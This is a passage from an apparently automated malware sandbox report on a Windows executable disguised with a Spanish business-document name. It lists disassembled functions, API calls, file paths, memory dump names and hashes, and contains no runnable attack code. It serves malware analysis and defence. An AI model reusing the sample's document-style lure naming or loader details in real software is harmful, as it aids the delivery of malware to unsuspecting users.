lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404BCE
wsprintfW.USER32 ref: 00404BD7
SetDlgItemTextW.USER32(?,00423728), ref: 00404BEA

Strings

(7B, xrefs: 00404BC0
%u.%u%s%s, xrefs: 00404BB8

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: 97f8edb7a0e5a20212aa5a449d05d7effc420c8931a1b74a790ae22a69f051c3
Instruction ID: 06844f863ebb5207f96fa0dde493c575b08da8a3ff5d6269356cbccd3d727cca
Opcode Fuzzy Hash: 97f8edb7a0e5a20212aa5a449d05d7effc420c8931a1b74a790ae22a69f051c3
Instruction Fuzzy Hash: E211D873A0412877DB00666D9C41F9E32989B85374F150237FA25F31D1DA79D81282E9

Function 100015FF Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002148,?,00000808), ref: 10001617
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002148,?,00000808), ref: 1000161E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002148,?,00000808), ref: 10001632
GetProcAddress.KERNEL32(10002148,00000000), ref: 10001639
GlobalFree.KERNEL32(00000000), ref: 10001642

Memory Dump Source

Source File: 00000000.00000002.2987306905.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2987274852.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2987339691.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2987366231.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00405BC6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403437,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403672), ref: 00405BCC
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403437,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403672), ref: 00405BD6
lstrcatW.KERNEL32(?,0040A014), ref: 00405BE8

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405BC6

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3355392842
Opcode ID: 50926409037afd5c3b117ee0fc1a0f088670877cc81c495d68363141157855c1
Instruction ID: 65d0506ad812cb1a76e9921ecf3bea8c464967d5314b17a54056b3388df28152
Opcode Fuzzy Hash: 50926409037afd5c3b117ee0fc1a0f088670877cc81c495d68363141157855c1
Instruction Fuzzy Hash: 41D05E31101535AAC2117B44AC04CDB66AC9E46304342487EF541B60A9C77C696296EE

Function 00403969 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(000002D0,C:\Users\user\AppData\Local\Temp\,0040379C,?), ref: 0040397B
CloseHandle.KERNEL32(000002C0,C:\Users\user\AppData\Local\Temp\,0040379C,?), ref: 0040398F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040396E
C:\Users\user\AppData\Local\Temp\nsz2C67.tmp, xrefs: 0040399F

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsz2C67.tmp
API String ID: 2962429428-1475182038
Opcode ID: 876b688c588afe5773e64c7bbc1298244ac35c0ab5ac1cb34d6cbf52c35d91ec
Instruction ID: b4aeda79ce9169ff0691def1b455dd989f45c243b0b2f58971613af12f624ab5
Opcode Fuzzy Hash: 876b688c588afe5773e64c7bbc1298244ac35c0ab5ac1cb34d6cbf52c35d91ec
Instruction Fuzzy Hash: 07E02CB080070492C130AF3CAE4D8853A285F4133A720432BF038F20F0C7788AAB0EA9

Function 00403D31 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(00000000,00429240), ref: 00403DC9

Strings

"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe", xrefs: 00403D32
1033, xrefs: 00403D35, 00403D3F, 00403DB0

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe"$1033
API String ID: 530164218-1151515666
Opcode ID: 4e624a1c1286e3581cf7061528553f6c4fdbf51a086a865f3efb5b186a46be4c
Instruction ID: 03976cd0908ed948c9bf00cc325fcd7bd37552fd0e89046400bf063f4d175d83
Opcode Fuzzy Hash: 4e624a1c1286e3581cf7061528553f6c4fdbf51a086a865f3efb5b186a46be4c
Instruction Fuzzy Hash: 5D11D131B44210DBC734AF15DC80A377BADEF85715B2841BFE8016B3A1DB3A9D0386A9

Function 004052E5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405314
CallWindowProcW.USER32(?,?,?,?), ref: 00405365

Part of subcall function 00404322: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404334

Strings

, xrefs: 004052F5

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 1c38682ff548693de77d02b4aeee144e7a7efb8abd51762e205331c359b10038
Instruction ID: 55ce392e6746b2cc60fd0279fd4fa9b35be9dafe7b92107a95c9794c7a372d77
Opcode Fuzzy Hash: 1c38682ff548693de77d02b4aeee144e7a7efb8abd51762e205331c359b10038
Instruction Fuzzy Hash: 8F01B1B2200708ABEF209F11DD80AAB3725EB80395F545036FE007A1D1C3BA8D929E6D

Function 00405C12 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402F41,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe,C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe,80000000,00000003), ref: 00405C18
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402F41,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe,C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe,80000000,00000003), ref: 00405C28

Strings

C:\Users\user\Desktop, xrefs: 00405C12

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3370423016
Opcode ID: 1e2f59ad4ff0707ecda417660e1f53ddee00da6e1af2314932cd9a88429354c1
Instruction ID: 7c763ee06e751a121eeaaae5fe0630bfdebb5bec0d299de236eb7caac3423831
Opcode Fuzzy Hash: 1e2f59ad4ff0707ecda417660e1f53ddee00da6e1af2314932cd9a88429354c1
Instruction Fuzzy Hash: BCD05EB2404A249ED322A704ED0499F67A8EF12300786886AE440A6165D7789C8186AD

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.2987306905.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2987274852.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2987339691.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2987366231.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction ID: f345eba8489605592ce73ef35c78e6b42925bf5f5eceaf1f60f0973e38c56604
Opcode Fuzzy Hash: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction Fuzzy Hash: AE318FF6904211DBF314CF64DC859EA77E8EB853D0B12452AFB45E726CEB34E8018765

Function 00405D4C Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,0040602D,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D5C
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405D74
CharNextA.USER32(00000000,?,00000000,0040602D,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D85
lstrlenA.KERNEL32(00000000,?,00000000,0040602D,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D8E

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: d13a305aa79855a3845d1893bd1e44018cb4e3b8a4cc5142433a7699c001be6c
Instruction ID: 1f72a7e7db10584d46f5d47bab472a29a69204e410489cb336b3e0253d2e012c
Opcode Fuzzy Hash: d13a305aa79855a3845d1893bd1e44018cb4e3b8a4cc5142433a7699c001be6c
Instruction Fuzzy Hash: 31F09631104918FFC712DFA5DD0499FBBA8EF06350B2580BAE841F7251D674DE019F99

Analysis Process: CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exePID: 6816, Parent PID: 6964COMMON

Executed Functions

Function 00118FC8 Relevance: 2.9, Instructions: 2899COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b675c07a09246e8b018efa90ad32a40d0ca9f2aef1e1c2368b9feda97a9624e6
Instruction ID: a892015aa9741191ecb10579fb8fe349a3f5d1fa9e8cc05c41c1c460cc460fb6
Opcode Fuzzy Hash: b675c07a09246e8b018efa90ad32a40d0ca9f2aef1e1c2368b9feda97a9624e6
Instruction Fuzzy Hash: AF63EA31D10B1A8ADB11EF68C950AD9F7B1FF99300F15C69AE45877221EB70AAD4CF81

Function 0011C440 Relevance: 2.4, Instructions: 2397COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 227b93a01f7e1e5e1714b757a818d060b16aaa24e3ba89a7b04ddd9d6e0e38a1
Instruction ID: 96d846f55a4450fa60d62eb83406965d5eee4a33a08538e61ec58119086aac29
Opcode Fuzzy Hash: 227b93a01f7e1e5e1714b757a818d060b16aaa24e3ba89a7b04ddd9d6e0e38a1
Instruction Fuzzy Hash: 31331C31D107198EDB15DF68C880AEDF7B1FF99300F15C6AAD458A7225EB70AAC5CB81

Function 00113928 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

\Vj, xrefs: 00113B73

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID: \Vj
API String ID: 0-3251626932
Opcode ID: b0640f209226b534bbb5c963ac3b6163459d705dac0567f800cd941a64eaea2f
Instruction ID: 40580717a49d92ceb860473a6e32648f1b175493d6e735da061f12118e703cd0
Opcode Fuzzy Hash: b0640f209226b534bbb5c963ac3b6163459d705dac0567f800cd941a64eaea2f
Instruction Fuzzy Hash: 2F918C70E003099FDF18CFA9D8857EEBBF2AF88304F148539D415A7298EB749985CB95

Function 00119080 Relevance: 1.1, Instructions: 1143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8355254ea42eaa1e8ec13896b97d73c8759a5598ddef86932aced22024402438
Instruction ID: 3a0c314b8d7627436573696dc02e5b2daed596487d71f00a79478d07760cbb0d
Opcode Fuzzy Hash: 8355254ea42eaa1e8ec13896b97d73c8759a5598ddef86932aced22024402438
Instruction Fuzzy Hash: CAC20931D10B198ADB10EF68C950AE9F7B1FF99300F15D69AE45877221EB70AAD4CF81

Function 38774FD0 Relevance: .8, Instructions: 812COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0778073268f9436db79a926439e60a86fbb9c3b4ae8cfeffed7508afed15580c
Instruction ID: 85744ab1839b6bb610ea2dd4a3e544af3192b449c81e47cfbdbf318000442436
Opcode Fuzzy Hash: 0778073268f9436db79a926439e60a86fbb9c3b4ae8cfeffed7508afed15580c
Instruction Fuzzy Hash: A4624934B00204CFEB14DBA8C594AADBBF3EF89394F548469E405AB395DB75ED42CB90

Function 3877AF98 Relevance: .6, Instructions: 640COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18175db1ed04337ceb05cf3d10319655abb30ecc381a22580a446b1bb2cb014
Instruction ID: d506f005408446fed6e59b1a5f156e2522f7f7c79d31226d60bcb69e7b20ffed
Opcode Fuzzy Hash: b18175db1ed04337ceb05cf3d10319655abb30ecc381a22580a446b1bb2cb014
Instruction Fuzzy Hash: 87324F34B002048FEB15DB68C894BADB7B3EF88351F608569E516EB355DB35DC82CB91

Function 38779C30 Relevance: .6, Instructions: 567COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3a790a29ca5a3a9296ba4ad5a764149eda7ca8dbbb8c4164c12d772ececf394
Instruction ID: f0951d9fcdd6065dc7b9a4b57c09467b0e13a5a53b716a185c790598737c3af8
Opcode Fuzzy Hash: b3a790a29ca5a3a9296ba4ad5a764149eda7ca8dbbb8c4164c12d772ececf394
Instruction Fuzzy Hash: 85222D74A01205CBFF14CAA8C4907ADB7A3EF89350F608529E459EF395DA36DC85CBA1

Function 387724A0 Relevance: .5, Instructions: 545COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0953d8b8c423753c895006d5f09858d3ac524e84bab72692c9f464b744f02c43
Instruction ID: f345bea07946dbcdaf10d7ab740c5c9a30724447a4c1bfb6c3e637e62e456641
Opcode Fuzzy Hash: 0953d8b8c423753c895006d5f09858d3ac524e84bab72692c9f464b744f02c43
Instruction Fuzzy Hash: A6324134E10719CFDB15DF75C85059DB7B2BF99300F50C6AAE459AB221EB30AA86CF90

Function 00114940 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5eff02fbd873017b16087f18f2f6cb09e36bc0819112a3e90cadc2a0abef372
Instruction ID: d5fd70e91a3aac7652bdabb32820c5d4ffb6774f5241ec22d980238adc4ecaa6
Opcode Fuzzy Hash: e5eff02fbd873017b16087f18f2f6cb09e36bc0819112a3e90cadc2a0abef372
Instruction Fuzzy Hash: 6CB14070E003098FDB18CFA9D9857EEBBF2AF88714F248539D415EB254EB749885CB85

Function 38850040 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579955134.0000000038850000.00000040.00000800.00020000.00000000.sdmp, Offset: 38850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38850000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b6c18a251cfac627c8485c795d5317cd8667a8a2ddcec96f04e4ef44146e6b2
Instruction ID: 835e03b91fe85e34ea39faa3dcf25f936af24c893e41ed0007d01f5b5e360e67
Opcode Fuzzy Hash: 3b6c18a251cfac627c8485c795d5317cd8667a8a2ddcec96f04e4ef44146e6b2
Instruction Fuzzy Hash: 31816234B003199FEB0DAFB9989576E7AB7BFC8300B14852ED442E7398DE35D8028795

Function 001146B8 Relevance: 2.7, Strings: 2, Instructions: 180COMMON

Download Yara Rule

Strings

\Vj, xrefs: 00114727
\Vj, xrefs: 0011487A

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

